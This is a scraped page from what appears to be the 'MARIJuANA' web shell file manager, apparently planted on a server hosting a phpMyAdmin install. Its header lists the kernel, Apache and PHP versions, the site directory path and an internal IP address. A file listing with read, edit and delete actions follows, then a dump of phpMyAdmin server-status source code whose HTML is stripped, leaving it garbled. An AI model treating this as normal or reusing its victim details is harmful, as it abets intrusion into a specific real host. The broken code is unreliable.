MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/barra_do_choca/public_html/phpmyadmin/libraries/classes/Server/Status/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
  Advisor.php 2.285 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
  Data.php 15.887 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
  Monitor.php 29.056 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
  Processes.php 10.596 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
  Queries.php 5.18 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
  Variables.php 31.877 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
REQUEST EXIT
'; $retval .= '' . __('Filters') . ''; $retval .= '
'; $retval .= Url::getHiddenInputs(); $retval .= ''; $retval .= '
'; $retval .= ''; $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= ''; $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= ''; $retval .= ''; $retval .= '
'; $retval .= '
'; $retval .= ''; return $retval; } /** * Prints the suggestion links * * @param Data $serverStatusData Server status data * * @return string */ public static function getHtmlForLinkSuggestions(Data $serverStatusData) { $retval = ''; return $retval; } /** * Returns a table with variables information * * @param Data $serverStatusData Server status data * * @return string */ public static function getHtmlForVariablesList(Data $serverStatusData) { $retval = ''; $strShowStatus = self::getDescriptions(); /** * define some alerts */ // name => max value before alert $alerts = array( // lower is better // variable => max value 'Aborted_clients' => 0, 'Aborted_connects' => 0, 'Binlog_cache_disk_use' => 0, 'Created_tmp_disk_tables' => 0, 'Handler_read_rnd' => 0, 'Handler_read_rnd_next' => 0, 'Innodb_buffer_pool_pages_dirty' => 0, 'Innodb_buffer_pool_reads' => 0, 'Innodb_buffer_pool_wait_free' => 0, 'Innodb_log_waits' => 0, 'Innodb_row_lock_time_avg' => 10, // ms 'Innodb_row_lock_time_max' => 50, // ms 'Innodb_row_lock_waits' => 0, 'Slow_queries' => 0, 'Delayed_errors' => 0, 'Select_full_join' => 0, 'Select_range_check' => 0, 'Sort_merge_passes' => 0, 'Opened_tables' => 0, 'Table_locks_waited' => 0, 'Qcache_lowmem_prunes' => 0, 'Qcache_free_blocks' => isset($serverStatusData->status['Qcache_total_blocks']) ? $serverStatusData->status['Qcache_total_blocks'] / 5 : 0, 'Slow_launch_threads' => 0, // depends on Key_read_requests // normally lower then 1:0.01 'Key_reads' => isset($serverStatusData->status['Key_read_requests']) ? (0.01 * $serverStatusData->status['Key_read_requests']) : 0, // depends on Key_write_requests // normally nearly 1:1 'Key_writes' => isset($serverStatusData->status['Key_write_requests']) ? (0.9 * $serverStatusData->status['Key_write_requests']) : 0, 'Key_buffer_fraction' => 0.5, // alert if more than 95% of thread cache is in use 'Threads_cached' => isset($serverStatusData->variables['thread_cache_size']) ? 0.95 * $serverStatusData->variables['thread_cache_size'] : 0 // higher is better // variable => min value //'Handler read key' => '> ', ); $retval .= self::getHtmlForRenderVariables( $serverStatusData, $alerts, $strShowStatus ); return $retval; } /** * Returns HTML for render variables list * * @param Data $serverStatusData Server status data * @param array $alerts Alert Array * @param array $strShowStatus Status Array * * @return string */ public static function getHtmlForRenderVariables(Data $serverStatusData, array $alerts, array $strShowStatus) { $retval = '
'; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; foreach ($serverStatusData->status as $name => $value) { $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; $retval .= ''; } $retval .= ''; $retval .= '
' . __('Variable') . '' . __('Value') . '' . __('Description') . '
'; $retval .= htmlspecialchars(str_replace('_', ' ', $name)); // Fields containing % are calculated, // they can not be described in MySQL documentation if (mb_strpos($name, '%') === false) { $retval .= Util::showMySQLDocu( 'server-status-variables', false, 'statvar_' . $name ); } $retval .= ''; if (isset($alerts[$name])) { if ($value > $alerts[$name]) { $retval .= ''; } else { $retval .= ''; } } if (substr($name, -1) === '%') { $retval .= htmlspecialchars( Util::formatNumber($value, 0, 2) ) . ' %'; } elseif (strpos($name, 'Uptime') !== false) { $retval .= htmlspecialchars( Util::timespanFormat($value) ); } elseif (is_numeric($value) && $value > 1000) { $retval .= '' . htmlspecialchars(Util::formatNumber($value, 3, 1)) . ''; } elseif (is_numeric($value)) { $retval .= htmlspecialchars( Util::formatNumber($value, 3, 1) ); } else { $retval .= htmlspecialchars($value); } if (isset($alerts[$name])) { $retval .= ''; } $retval .= ''; $retval .= ''; if (isset($alerts[$name])) { if ($value > $alerts[$name]) { $retval .= ''; } else { $retval .= ''; } } $retval .= htmlspecialchars($value); if (isset($alerts[$name])) { $retval .= ''; } $retval .= ''; $retval .= ''; if (isset($strShowStatus[$name])) { $retval .= $strShowStatus[$name]; } if (isset($serverStatusData->links[$name])) { foreach ($serverStatusData->links[$name] as $link_name => $link_url) { if ('doc' == $link_name) { $retval .= Util::showMySQLDocu($link_url); } else { $retval .= ' ' . $link_name . ''; } } unset($link_url, $link_name); } $retval .= '
'; $retval .= '
'; return $retval; } /** * Returns a list of variable descriptions * * @return array */ public static function getDescriptions() { /** * Messages are built using the message name */ return array( 'Aborted_clients' => __( 'The number of connections that were aborted because the client died' . ' without closing the connection properly.' ), 'Aborted_connects' => __( 'The number of failed attempts to connect to the MySQL server.' ), 'Binlog_cache_disk_use' => __( 'The number of transactions that used the temporary binary log cache' . ' but that exceeded the value of binlog_cache_size and used a' . ' temporary file to store statements from the transaction.' ), 'Binlog_cache_use' => __( 'The number of transactions that used the temporary binary log cache.' ), 'Connections' => __( 'The number of connection attempts (successful or not)' . ' to the MySQL server.' ), 'Created_tmp_disk_tables' => __( 'The number of temporary tables on disk created automatically by' . ' the server while executing statements. If' . ' Created_tmp_disk_tables is big, you may want to increase the' . ' tmp_table_size value to cause temporary tables to be' . ' memory-based instead of disk-based.' ), 'Created_tmp_files' => __( 'How many temporary files mysqld has created.' ), 'Created_tmp_tables' => __( 'The number of in-memory temporary tables created automatically' . ' by the server while executing statements.' ), 'Delayed_errors' => __( 'The number of rows written with INSERT DELAYED for which some' . ' error occurred (probably duplicate key).' ), 'Delayed_insert_threads' => __( 'The number of INSERT DELAYED handler threads in use. Every' . ' different table on which one uses INSERT DELAYED gets' . ' its own thread.' ), 'Delayed_writes' => __( 'The number of INSERT DELAYED rows written.' ), 'Flush_commands' => __( 'The number of executed FLUSH statements.' ), 'Handler_commit' => __( 'The number of internal COMMIT statements.' ), 'Handler_delete' => __( 'The number of times a row was deleted from a table.' ), 'Handler_discover' => __( 'The MySQL server can ask the NDB Cluster storage engine if it' . ' knows about a table with a given name. This is called discovery.' . ' Handler_discover indicates the number of time tables have been' . ' discovered.' ), 'Handler_read_first' => __( 'The number of times the first entry was read from an index. If this' . ' is high, it suggests that the server is doing a lot of full' . ' index scans; for example, SELECT col1 FROM foo, assuming that' . ' col1 is indexed.' ), 'Handler_read_key' => __( 'The number of requests to read a row based on a key. If this is' . ' high, it is a good indication that your queries and tables' . ' are properly indexed.' ), 'Handler_read_next' => __( 'The number of requests to read the next row in key order. This is' . ' incremented if you are querying an index column with a range' . ' constraint or if you are doing an index scan.' ), 'Handler_read_prev' => __( 'The number of requests to read the previous row in key order.' . ' This read method is mainly used to optimize ORDER BY … DESC.' ), 'Handler_read_rnd' => __( 'The number of requests to read a row based on a fixed position.' . ' This is high if you are doing a lot of queries that require' . ' sorting of the result. You probably have a lot of queries that' . ' require MySQL to scan whole tables or you have joins that' . ' don\'t use keys properly.' ), 'Handler_read_rnd_next' => __( 'The number of requests to read the next row in the data file.' . ' This is high if you are doing a lot of table scans. Generally' . ' this suggests that your tables are not properly indexed or that' . ' your queries are not written to take advantage of the indexes' . ' you have.' ), 'Handler_rollback' => __( 'The number of internal ROLLBACK statements.' ), 'Handler_update' => __( 'The number of requests to update a row in a table.' ), 'Handler_write' => __( 'The number of requests to insert a row in a table.' ), 'Innodb_buffer_pool_pages_data' => __( 'The number of pages containing data (dirty or clean).' ), 'Innodb_buffer_pool_pages_dirty' => __( 'The number of pages currently dirty.' ), 'Innodb_buffer_pool_pages_flushed' => __( 'The number of buffer pool pages that have been requested' . ' to be flushed.' ), 'Innodb_buffer_pool_pages_free' => __( 'The number of free pages.' ), 'Innodb_buffer_pool_pages_latched' => __( 'The number of latched pages in InnoDB buffer pool. These are pages' . ' currently being read or written or that can\'t be flushed or' . ' removed for some other reason.' ), 'Innodb_buffer_pool_pages_misc' => __( 'The number of pages busy because they have been allocated for' . ' administrative overhead such as row locks or the adaptive' . ' hash index. This value can also be calculated as' . ' Innodb_buffer_pool_pages_total - Innodb_buffer_pool_pages_free' . ' - Innodb_buffer_pool_pages_data.' ), 'Innodb_buffer_pool_pages_total' => __( 'Total size of buffer pool, in pages.' ), 'Innodb_buffer_pool_read_ahead_rnd' => __( 'The number of "random" read-aheads InnoDB initi